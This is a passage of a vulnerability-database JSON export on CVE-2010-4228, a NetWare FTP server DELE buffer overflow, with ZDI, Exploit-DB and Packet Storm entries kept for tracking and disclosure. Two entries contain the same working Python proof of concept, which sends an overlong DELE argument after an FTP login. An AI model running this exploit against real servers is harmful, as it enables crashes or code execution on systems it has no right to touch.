"8149", "refsource": "SREASON", "tags": [], "url": "http://securityreason.com/securityalert/8149"}, {"name": "http://www.novell.com/support/viewContent.do?externalId=3238588", "refsource": "CONFIRM", "tags": [], "url": "http://www.novell.com/support/viewContent.do?externalId=3238588"}], "immutableFields": []}], "exploitdb": [{"id": "EDB-ID:17020", "hash": "0e0e1cb73d406dfeac6575cfd9aa642ee4c176c905e3434b4d3686a24499af6e", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability", "description": "Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability. CVE-2010-4228. Dos exploit for netware platform", "published": "2011-03-21T00:00:00", "modified": "2011-03-21T00:00:00", "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://www.exploit-db.com/exploits/17020/", "reporter": "Francis Provencher", "references": [], "cvelist": ["CVE-2010-4228"], "lastseen": "2016-02-02T07:02:26", "history": [{"lastseen": "2016-02-02T07:02:26", "different_elements": ["cvss2"], "edition": 1, "bulletin": {"lastseen": "2016-02-02T07:02:26", "references": [], "description": "Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability. CVE-2010-4228. Dos exploit for netware platform", "edition": 1, "cvss3": {}, "reporter": "Francis Provencher", "history": [], "published": "2011-03-21T00:00:00", "enchantments": {"score": {"rev": 2, "modified": "2016-02-02T07:02:26", "vector": "NONE", "value": 8.4}, "dependencies": {"rev": 2, "references": [{"idList": ["PACKETSTORM:99574"], "type": "packetstorm"}, {"idList": ["CVE-2010-4228"], "type": "cve"}, {"idList": ["SECURITYVULNS:DOC:25980", "SECURITYVULNS:VULN:10727"], "type": "securityvulns"}, {"idList": ["ZDI-11-106"], "type": "zdi"}], "modified": "2016-02-02T07:02:26"}}, "title": "Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability", "type": "exploitdb", "objectVersion": "1.5", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2010-4228"], "immutableFields": [], "modified": "2011-03-21T00:00:00", "href": "https://www.exploit-db.com/exploits/17020/", "id": "EDB-ID:17020", "viewCount": 6, "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "fdd2432dacfd00f26a1bcffd96f71e6d", "key": "cvelist"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "767d60d3ebb198dca41917cf66f28b3a", "key": "description"}, {"hash": "747a0defc7653f68ee551bace19d7ee8", "key": "modified"}, {"hash": "916b5dbd201b469998d9b4a4c8bc4e08", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss3"}, {"hash": "cd117738a78aab93379ffe0554992eb3", "key": "reporter"}, {"hash": "673bf46bce92490323223746e1ab434d", "key": "title"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvss2"}, {"hash": "e82557f27ed501e21f610eaa291934fc", "key": "href"}, {"hash": "4ea840ff73b6affb0ff1787d26923e0e", "key": "cvss"}, {"hash": "747a0defc7653f68ee551bace19d7ee8", "key": "published"}], "hash": "31d38cd2a2222b776b898354cd57a58432bf904d2a3f2b16a74214f4124d1a0e"}}], "viewCount": 6, "enchantments": {"score": {"value": 8.4, "vector": "NONE", "modified": "2016-02-02T07:02:26", "rev": 2}, "dependencies": {"references": [{"idList": ["PACKETSTORM:99574"], "type": "packetstorm"}, {"idList": ["CVE-2010-4228"], "type": "cve"}, {"idList": ["SECURITYVULNS:DOC:25980", "SECURITYVULNS:VULN:10727"], "type": "securityvulns"}, {"idList": ["ZDI-11-106"], "type": "zdi"}], "modified": "2016-02-02T07:02:26", "rev": 2}, "exploitation": {"wildExploited": false, "wildExploitedSources": [], "modified": "2016-02-02T07:02:26"}}, "objectVersion": "1.5", "sourceHref": "https://www.exploit-db.com/download/17020/", "sourceData": "#!/usr/bin/python\r\n \r\nimport socket, sys\r\n\r\n# Source:\r\n# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25\r\n \r\nhost = (sys.argv[1])\r\ndata = \"\\x44\\x45\\x4c\\x45\\x20\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x45\\x45\\x45\\x45\\x45\\x45\\x46\\x46\\x46\\x46\\x47\\x47\\x47\\x47\\x48\\x48\\x44\\x43\\x42\\x41\\x0d\\x0a\"\r\n\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\ntry:\r\n\ts.connect((host, 21))\r\n\td=s.recv(1024)\r\n\tprint (d)\r\n\ts.send(\"USER toto\\r\\n\") #anonymous login so anything goes\r\n\td=s.recv(1024)\r\n\tprint (d)\r\n\ts.send(\"PASS toto\\r\\n\")\r\n\td=s.recv(1024)\r\n\tprint (d)\r\n\ts.send(data)\r\n\td=s.recv(1024)\r\n\tprint (d)\r\n\ts.close()\r\n\t\r\n\ttry:\r\n\t\ts.connect((host,21))\r\n\texcept:\r\n\t\tprint (\"\\r\\n[i] Beep Beep, take a look to your Abend log file.\")\r\nexcept:\r\n\tprint (\"[i] Error\")", "osvdbidlist": [], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"], "scheme": null, "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "edition": 2, "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "fdd2432dacfd00f26a1bcffd96f71e6d"}, {"key": "cvss", "hash": "4ea840ff73b6affb0ff1787d26923e0e"}, {"key": "cvss2", "hash": "171c8520f35ebefe5084f957b9961e7e"}, {"key": "cvss3", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "description", "hash": "767d60d3ebb198dca41917cf66f28b3a"}, {"key": "href", "hash": "e82557f27ed501e21f610eaa291934fc"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "747a0defc7653f68ee551bace19d7ee8"}, {"key": "published", "hash": "747a0defc7653f68ee551bace19d7ee8"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "cd117738a78aab93379ffe0554992eb3"}, {"key": "title", "hash": "673bf46bce92490323223746e1ab434d"}, {"key": "type", "hash": "916b5dbd201b469998d9b4a4c8bc4e08"}]}], "zdi": [{"hash": "add965c8b0ccd8dfc7cacba452d18982d0f39b279e610ae1ee09718c384f38f9", "edition": 3, "title": "Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability", "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware. Authentication is required to exploit this vulnerability. The flaw exists within NWFTPD.NLM. When handling the argument provided to the DELE command the application copies user supplied data to a fixed length stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the super user.", "viewCount": 3, "objectVersion": "1.3", "hashmap": [{"key": "bulletinFamily", "hash": "caf9b6b99962bf5c2264824231d7a40c"}, {"key": "cvelist", "hash": "fdd2432dacfd00f26a1bcffd96f71e6d"}, {"key": "cvss", "hash": "62e86bb7716385cd46817416916a7bbd"}, {"key": "description", "hash": "961578c15d25d7cfbb98005909a794c2"}, {"key": "href", "hash": "42d776e4178bbd2d710bbba03facc83d"}, {"key": "modified", "hash": "1682a2b9cff21b11a8692b57dc3b27c8"}, {"key": "published", "hash": "e7b6d53d3aa96407a41e8d351dd8ef82"}, {"key": "references", "hash": "d8e87bf55c37fbee7d97a2b7839294ce"}, {"key": "reporter", "hash": "7ef687469c8e26aa2c7776653560b4c6"}, {"key": "title", "hash": "673bf46bce92490323223746e1ab434d"}, {"key": "type", "hash": "3dd086b59554fe33c1b8f051475b4b31"}], "cvelist": ["CVE-2010-4228"], "bulletinFamily": "info", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "href": "https://www.zerodayinitiative.com/advisories/ZDI-11-106/", "history": [{"bulletin": {"bulletinFamily": "info", "cvelist": ["CVE-2010-4228"], "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware. Authentication is required to exploit this vulnerability.\n\nThe flaw exists within NWFTPD.NLM. When handling the argument provided to the DELE command the application copies user supplied data to a fixed length stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the super user.", "edition": 1, "hash": "b1428c6ed8597a06b7916df4ff0d38e8cc11b029bf8e05116a8bc51140d76e45", "hashmap": [{"hash": "190e05c248ed3d6798beb9c699bee8c3", "key": "description"}, {"hash": "7ef687469c8e26aa2c7776653560b4c6", "key": "reporter"}, {"hash": "fdd2432dacfd00f26a1bcffd96f71e6d", "key": "cvelist"}, {"hash": "4e62f1b34ab0c49edc517d25ec5ae4ce", "key": "href"}, {"hash": "3dd086b59554fe33c1b8f051475b4b31", "key": "type"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "caf9b6b99962bf5c2264824231d7a40c", "key": "bulletinFamily"}, {"hash": "be3f316e403cbd743794176c7e275143", "key": "modified"}, {"hash": "d8e87bf55c37fbee7d97a2b7839294ce", "key": "references"}, {"hash": "673bf46bce92490323223746e1ab434d", "key": "title"}, {"hash": "4ea840ff73b6affb0ff1787d26923e0e", "key": "cvss"}, {"hash": "e7b6d53d3aa96407a41e8d351dd8ef82", "key": "published"}], "history": [], "href": "http://www.zerodayinitiative.com/advisories/ZDI-11-106", "id": "ZDI-11-106", "lastseen": "2016-09-04T11:34:05", "modified": "2011-09-04T00:00:00", "objectVersion": "1.2", "published": "2011-03-18T00:00:00", "references": ["http://download.novell.com/Download?buildid=Ax6AbxwGLTs~"], "reporter": "Francis Provencher for Protek Research Lab's", "title": "Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability", "type": "zdi", "viewCount": 0}, "differentElements": ["modified"], "edition": 1, "lastseen": "2016-09-04T11:34:05"}, {"bulletin": {"bulletinFamily": "info", "cvelist": ["CVE-2010-4228"], "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Netware. Authentication is required to exploit this vulnerability.\n\nThe flaw exists within NWFTPD.NLM. When handling the argument provided to the DELE command the application copies user supplied data to a fixed length stack buffer. A remote attacker can exploit this vulnerability to execute arbitrary code under the context of the super user.", "edition": 2, "enchantments": {"dependencies": {"modified": "2016-11-09T00:17:48", "references": [{"idList": ["EDB-ID:17020"], "type": "exploitdb"}, {"idList": ["PACKETSTORM:99574"], "type": "packetstorm"}, {"idList": ["CVE-2010-4228"], "type": "cve"}, {"idList": ["SECURITYVULNS:DOC:25980", "SECURITYVULNS:VULN:10727"], "type": "securityvulns"}], "rev": 2}, "score": {"modified": "2016-11-09T00:17:48", "rev": 2, "value": 8.2, "vector": "NONE"}}, "hash": "62ed85388c446f962f73a0fde5f098f77e3c03f0a2c2ad1813c9f58b423501fc", "hashmap": [{"hash": "190e05c248ed3d6798beb9c699bee8c3", "key": "description"}, {"hash": "7ef687469c8e26aa2c7776653560b4c6", "key": "reporter"}, {"hash": "fdd2432dacfd00f26a1bcffd96f71e6d", "key": "cvelist"}, {"hash": "4e62f1b34ab0c49edc517d25ec5ae4ce", "key": "href"}, {"hash": "3dd086b59554fe33c1b8f051475b4b31", "key": "type"}, {"hash": "caf9b6b99962bf5c2264824231d7a40c", "key": "bulletinFamily"}, {"hash": "d8e87bf55c37fbee7d97a2b7839294ce", "key": "references"}, {"hash": "673bf46bce92490323223746e1ab434d", "key": "title"}, {"hash": "f9dd93fc8e6c17f090985f6f68ce9990", "key": "modified"}, {"hash": "4ea840ff73b6affb0ff1787d26923e0e", "key": "cvss"}, {"hash": "e7b6d53d3aa96407a41e8d351dd8ef82", "key": "published"}], "history": [], "href": "http://www.zerodayinitiative.com/advisories/ZDI-11-106", "id": "ZDI-11-106", "lastseen": "2016-11-09T00:17:48", "modified": "2011-11-09T00:00:00", "objectVersion": "1.2", "published": "2011-03-18T00:00:00", "references": ["http://download.novell.com/Download?buildid=Ax6AbxwGLTs~"], "reporter": "Francis Provencher for Protek Research Lab's", "title": "Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability", "type": "zdi", "viewCount": 3}, "differentElements": ["cvss", "description", "modified", "href"], "edition": 2, "lastseen": "2016-11-09T00:17:48"}], "id": "ZDI-11-106", "reporter": "Francis Provencher for Protek Research Lab's", "published": "2011-03-18T00:00:00", "references": ["http://download.novell.com/Download?buildid=Ax6AbxwGLTs~"], "lastseen": "2020-06-22T11:42:24", "modified": "2011-06-22T00:00:00", "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2010-4228"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:10727", "SECURITYVULNS:DOC:25980"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:99574"]}, {"type": "exploitdb", "idList": ["EDB-ID:17020"]}], "modified": "2020-06-22T11:42:24", "rev": 2}, "score": {"value": 8.2, "vector": "NONE", "modified": "2020-06-22T11:42:24", "rev": 2}, "exploitation": {"wildExploited": false, "wildExploitedSources": [], "modified": "2020-06-22T11:42:24"}}, "type": "zdi", "scheme": null}], "packetstorm": [{"id": "PACKETSTORM:99574", "hash": "c3d6b753448a05290f9ca978cb8cd990", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Novell Netware 6.5 SP8 Remote Code Execution", "description": "", "published": "2011-03-22T00:00:00", "modified": "2011-03-22T00:00:00", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/", "score": 9.0}, "href": "https://packetstormsecurity.com/files/99574/Novell-Netware-6.5-SP8-Remote-Code-Execution.html", "reporter": "Francis Provencher", "references": [], "cvelist": ["CVE-2010-4228"], "lastseen": "2016-12-05T22:21:31", "history": [], "viewCount": 1, "enchantments": {"score": {"value": 8.8, "vector": "NONE", "modified": "2016-12-05T22:21:31", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2010-4228"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:10727", "SECURITYVULNS:DOC:25980"]}, {"type": "exploitdb", "idList": ["EDB-ID:17020"]}, {"type": "zdi", "idList": ["ZDI-11-106"]}], "modified": "2016-12-05T22:21:31", "rev": 2}}, "objectVersion": "1.4", "sourceHref": "https://packetstormsecurity.com/files/download/99574/PRL-2011-05.txt", "sourceData": "`##################################################################################### \n \nApplication: Novell Netware NWFTPD.NLM DELE Remote Code Execution Vulnerability \n \nPlatforms: Novell Netware 6.5 SP8 \n \nExploitation: Remote code execution \n \nCVE Number: CVE-2010-4228 \n \nNovell TID: 5089510 \n \nZDI: ZDI-11-106 \n \n{PRL}: 2011-05 \n \nAuthor: Francis Provencher (Protek Research Lab's) \n \nWebsite: http://www.protekresearchlab.com/ \n \nTwitter: @ProtekResearch \n \n \n##################################################################################### \n \n1) Introduction \n2) Timeline \n3) Technical details \n4) PoC \n \n \n##################################################################################### \n \n=============== \n1) Introduction \n=============== \n \nNovell, Inc. is a global software and services company based in Waltham, Massachusetts. \nThe company specializes in enterprise operating systems, such as SUSE Linux Enterprise \nand Novell NetWare; identity, security, and systems management solutions; and \ncollaboration solutions, such as Novell Groupwise and Novell Pulse. \n \nNovell was instrumental in making the Utah Valley a focus for technology and software \ndevelopment. Novell technology contributed to the emergence of local area networks, \nwhich displaced the dominant mainframe computing model and changed computing worldwide. \nToday, a primary focus of the company is on developing open source software for \nenterprise clients. \n \n(http://en.wikipedia.org/wiki/Novell) \n \n##################################################################################### \n \n============================ \n2) Timeline \n============================ \n \n2010-09-22 - Vulnerability reported to vendor \n2011-03-18 - Coordinated public release of advisory \n \n##################################################################################### \n \n============================ \n3) Technical details \n============================ \n \nThis vulnerability allows remote attackers to execute arbitrary code on vulnerable \ninstallations of Novell Netware. Authentication is required to exploit this vulnerability. \nThe flaw exists within NWFTPD.NLM. When handling the argument provided to the DELE command \nthe application copies user supplied data to a fixed length stack buffer. \nA remote attacker can exploit this vulnerability to execute arbitrary code under the \ncontext of the super user. \n \n##################################################################################### \n \n=========== \n4) The Code \n=========== \n \n \n \n#!/usr/bin/python \n \nimport socket, sys \n \n# Source: \n# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=25&Itemid=25 \n \nhost = (sys.argv[1]) \ndata = \"\\x44\\x45\\x4c\\x45\\x20\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x3f\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x42\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x44\\x45\\x45\\x45\\x45\\x45\\x45\\x46\\x46\\x46\\x46\\x47\\x47\\x47\\x47\\x48\\x48\\x44\\x43\\x42\\x41\\x0d\\x0a\" \n \n \ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n \ntry: \ns.connect((host, 21)) \nd=s.recv(1024) \nprint (d) \ns.send(\"USER toto\\r\\n\") #anonymous login so anything goes \nd=s.recv(1024) \nprint (d) \ns.send(\"PASS toto\\r\\n\") \nd=s.recv(1024) \nprint (d) \ns.send(data) \nd=s.recv(1024) \nprint (d) \ns.close() \n \ntry: \ns.connect((host,21)) \nexcept: \nprint (\"\\r\\n[i] Beep Beep, take a look to your Abend log file.\") \nexcept: \nprint (\"[i] Error\") \n \n \n \n \n##################################################################################### \n \n`\n", "_object_type": "robots.models.packetstorm.PacketstormBulletin", "_object_types": ["robots.models.packetstorm.PacketstormBulletin", "robots.models.base.Bulletin"]}], "securityvulns": [{"id": "SECURITYVULNS:VULN:10727", "bulletinFamily": "software", "title": "Novell Netware FTP server buffer overflow", "description": "rmdir/mkdir/dele commands buffer overflow.", "published": "2011-03-23T00:00:00", "modified": "2011-03-23T00:00:00", "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:10727", "reporter": "BUGTRAQ", "references": ["https://vulners.com/securityvulns/securityvulns:doc:25980", "https://vulners.com/securityvulns/securityvulns:doc:23487", "https://vulners.com/securityvulns/securityvulns:doc:23577"], "cvelist": ["CVE-2010-0625", "CVE-2010-4228"], "type": "securityvulns", "lastseen": "2021-06-08T19:07:20", "history": [{"bulletin": {"affectedSoftware": [{"name": "Netware", "operator": "eq", "version": "6.5"}], "bulletinFamily": "software", "cvelist": ["CVE-2010-0625", "CVE-2010-4228"], "cvss": {"score": 9.0, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "rmdir/mkdir/dele commands buffer overflow.", "edition": 1, "enchantments": {"dependencies": {"modified": "2018-08-31T11:09:36", "references": [{"idList": ["ZDI-11-106", "ZDI-10-062"], "type": "zdi"}, {"idList": ["SECURITYVULNS:DOC:23577", "SECURITYVULNS:DOC:23487", "SECURITYVULNS:DOC:25980"], "type": "securityvulns"}, {"idList": ["EDB-ID:17020"], "type": "exploitdb"}, {"idList": ["PACKETSTORM:99574"], "type": "packetstorm"}, {"idList": ["SSV:19361"], "type": "seebug"}, {"idList": ["CVE-2010-0625", "CVE-2010-4228"], "type": "cve"}], "rev": 2}, "score": {"modified": "2018-08-31T11:09:36", "rev": 2, "value": 8.0, "vector": "NONE"}}, "hash": "cc190a08040909e1b9e7c9369a032c56d8e249e8ba3b1a43c355627c37a15f28", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "immutableFields"}, {"hash": "0fa06b7644a0208f244ebe209ea28b44", "key": "modified"}, {"hash": "e498782c599aeb0b0216e7e7adbccfbc", "key": "description"}, {"hash": "82f297a183ae8f6e201ef753e08e4017", "key": "cvelist"}, {"hash": "3e8828391956d870bfb1c7623a9c1850", "key": "href"}, {"hash": "f9fa10ba956cacf91d7878861139efb9", "key": "bulletinFamily"}, {"hash": "fef19eeb8f6ad138ea31ec035f8db36f", "key": "title"}, {"hash": "2c5cca82a8670da097919f6160833daf", "key": "reporter"}, {"hash": "4ea840ff73b6affb0ff1787d26923e0e", "key": "cvss"}, {"hash": "daa34c75236be7d476a7c20cbf6fbace", "key": "references"}, {"hash": "276d6f4a7e4873c84e303df002712027", "key": "affectedSoftware"}, {"hash": "0fa06b7644a0208f244ebe209ea28b44", "key": "published"}, {"hash": "d54751dd75af2ea0147b462b3e001cd0", "key": "type"}], "history": [], "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:10727", "id": "SECURITYVULNS:VULN:10727", "immutableFields": [], "lastseen": "2018-08-31T11:09:36", "modified": "2011-03-23T00:00:00", "objectVersion": "1.5", "published": "2011-03-23T00:00:00", "references": ["https://vulners.com/securityvulns/securityvulns:doc:25980", "https://vulners.com/securityvulns/securityvulns:doc:23487", "https://vulners.com/securityvulns/securityvulns:doc:23577"], "reporter": "BUGTRAQ", "title": "Novell Netware FTP server buffer overflow", "type": "securityvulns", "viewCount": 1}, "different_elements": ["affectedSoftware"], "edition": 1, "lastseen": "2018-08-31T11:09:36"}], "edition": 2, "hashmap": [{"key": "affectedSoftware", "hash": "eedda54340f7931d4f0a4a8a660ff8af"}, {"key": "bulletinFamily", "hash": "f9fa10ba956cacf91d7878861139efb9"}, {"key": "cvelist", "hash": "82f297a183ae8f6e201ef753e08e4017"}, {"key": "cvss", "hash": "4ea840ff73b6affb0ff1787d26923e0e"}, {"key": "description", "hash": "e498782c599aeb0b0216e7e7adbccfbc"}, {"key": "href", "hash": "3e8828391956d870bfb1c7623a9c1850"}, {"key": "immutableFields", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "modified", "hash": "0fa06b7644a0208f244ebe209ea28b44"}, {"key": "published", "hash": "0fa06b7644a0208f244ebe209ea28b44"}, {"key": "references", "hash": "daa34c75236be7d476a7c20cbf6fbace"}, {"key": "reporter", "hash": "2c5cca82a8670da097919f6160833daf"}, {"key": "title", "hash": "fef19eeb8f6ad138ea31ec035f8db36f"}, {"key": "type", "hash": "d54751dd75af2ea0147b462b3e001cd0"}], "hash": "f3d6e68d2773c8dd83095cd38529b3c0aba373c393f1f9095763d1eda048a025", "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2010-0625", "CVE-2010-4228"]}, {"type": "zdi", "idList": ["ZDI-10-062", "ZDI-11-106"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:99574"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:23577", "SECURITYVULNS:DOC:23487", "SECURITYVULNS:DOC:25980"]}, {"type": "exploitdb", "idList": ["EDB-ID:17020"]}, {"type": "seebug", "idList": ["SSV:19361"]}], "modified": "2021-06-08T19:07:20", "rev": 2}, "score": {"value": 8.0, "vector": "NONE", "modified": "2021-06-08T19:07:20", "rev": 2}}, "objectVersion": "1.5", "affectedSoftware": [{"name": "netware", "operator": "eq", "version": "6.5"}], "immutableFields": [], "scheme": null}]}